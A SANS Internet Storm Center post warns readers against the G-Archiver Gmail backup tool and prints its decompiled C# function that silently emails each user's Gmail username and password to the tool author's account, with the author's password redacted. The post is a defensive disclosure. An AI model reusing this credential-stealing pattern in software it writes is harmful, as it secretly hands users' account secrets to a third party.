Threat Level: green Handler on Duty: Rob VandenBrink

SANS ISC: Don't use G-Archiver - Internet Security | DShield SANS ISC InfoSec Forums


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Don't use G-Archiver

I saw this article the other day on Coding Horror, and someone (they didn't leave their name) sent it into us for comment. 

The backstory:

G-Archiver (notice I'm not linking to it), is a tool that someone wrote to be able to download all your Google Email and archive it locally.  Problem is that the coder that wrote the program, decided he'd be slick and put his own username and password in the code. 

Whoops.

Yeah, but it wasn't a 'coding mistake'.  He coded it in there, so when someone used this tool, it uploaded YOUR username and password to HIS email account.  (Nice huh?)

Now, I'll put the code below, but I am going to (out of the kindness of my heart, because I am sure the account is probably canceled at this point) remove this dude's password.  Who knows, he might be using it elsewhere.

 

Here's the code:

public static void CheckConnection(string a, string b)
{
try
{
MailMessage message = new MailMessage();
message.To.Add("JTerry79@gmail.com");
message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new NetworkCredential("JTerry79@gmail.com", "HIS PASSWORD WAS RIGHT HERE");
client.Port = 0x24b;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
client.Send(message);
}
catch (Exception)
{
}
}

 

Basically, the lesson learned here is, be careful what you install.

So, to the anonymous person that wrote in asking for comment?  Here's my comment:  Don't install it.  Oh yeah, and John, the coder of this tool...  Shame on you. 

Joel Esler

http://www.joelesler.net

Joel

454 Posts
ISC Handler

Sign Up for Free or Log In to start participating in the conversation!